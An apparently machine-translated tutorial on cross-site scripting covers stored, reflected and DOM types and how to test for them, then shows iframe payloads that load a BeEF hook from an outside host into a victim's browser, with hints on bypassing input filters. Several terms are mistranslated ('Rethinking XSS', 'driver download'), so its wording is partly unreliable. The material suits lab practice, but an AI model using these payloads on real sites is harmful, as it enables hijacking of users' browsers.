0x1 Exploit TUTORIAL:XSS

0x1 Exploit TUTORIAL:XSS

Translation style follows 0x0

This vulnerability tutorial will briefly describe the cross-site Scripting Vulnerability (XSS) and how it can be used to control the victim's browser. XSS is a very common web application vulnerability that many people consider to be low risk because they do not understand the possible situation. If you want to download a quick ISO to play XSS, check out some great engineering launches for pentesterlab.com.

An XSS flaw usually occurs because the output is not encoded correctly, which allows the attacker to enter code instead of the expected input.

Typically, XSS locates the victim's browser through a Web application. So when the user accesses the page, the attacker can run the code in the user's browser.

XSS Type:
Store XSS: This is the type of XSS that is sometimes referred to as persistence, because injected code remains on the Web application. This is a very popular driver download, where an attacker can store some malicious html/javascript in a legitimate Web application and then use it to infect users who access the application.

This type of XSS is more difficult to enumerate because it can sometimes exist in the log of the Web application, and you may not be able to test without additional access to the application.

Rethinking XSS: This XSS is more common and is often overlooked as a security issue. This type of vulnerability allows Html/javascript to be passed to the Web application in the request. Therefore, a common attack wizard would be to make a link using a vulnerable site and send the link to a potential victim user.

Dom-based XSS: This type of XSS is done entirely on the user's browser and not on the Web application. If you want to learn more about DOM-based XSS, here's a good link.

XSS test:
Browse the agent and view the location of the input on the screen. A common problem is that the 404 page puts the requested resource, even if it is code. In general, the process I followed when I tested XSS was when I decided that I could accept the various areas of user input, I started putting in different inputs and checking the source code in the response to see if my input was included. This is the basic procedure that Web application vulnerability scanners follow to enumerate XSS.

What ' s possible?
The common approach to using XSS is to load html/javascript in the user's browser. This is easy by using an IFRAME:

<iframe%20height= "0"%20width= "0"%20src= "http://malicious_domain.com/" ></iframe>

This iframe can obtain the browser's fingerprint, discover the vulnerability, and then load malicious JavaScript to attack the browser (#BeEF).

BeEF:
Let's take a look at an XSS example and use beef to hook the victim browser. First, we identify the location of the XSS vulnerable in the Web application. For more detailed information about how to test these types of vulnerabilities, see the Burp Suite previous article/tutorial. With the reflection XSS vulnerability of enumerations instead of having an alert (' XSS ') box, we can load beef hooks through an iframe. The following is an example of a reflection XSS vulnerability in a parameter in a URL:

So what we have is a parameter that accepts user input, does not do any input filtering or output encoding, which results in a trivial XSS vulnerability. Now in order to do something interesting, we can throw a iframe/beef hook and send a user a link once they click it will load JavaScript in the browser and we can play.
1

Http://192.168.56.104/xss/example1.php?name=<iframe height= "0" width= "0" src=http://beef_hook/</iframe>

Once the beef hook is loaded into the browser, you can check the beef controller to control the victim's browser:

Beef is a powerful way to control the victim's browser by using JavaScript. You can use the XSS vulnerability to view the victim browser linked to the beef. Beef provides a number of features that are performed on the victim's browser and even connects to Metasploit to provide vulnerabilities.

Filter filters

Now, the web developer may have entered some input filters for <script> or even meta tags "<,>", in which case you can try to filter creatively by using the javascript/html of your inserted or encoded code In a different format. Check out our previous article on Burp to see some more information about encoded inputs to bypass some common XSS filters.

Download ISO files from pentesterlab.com and start using XSS vulnerabilities, which have different types of flaws that require you to bypass some basic filters by encoding input in different formats (URL encoding, etc.).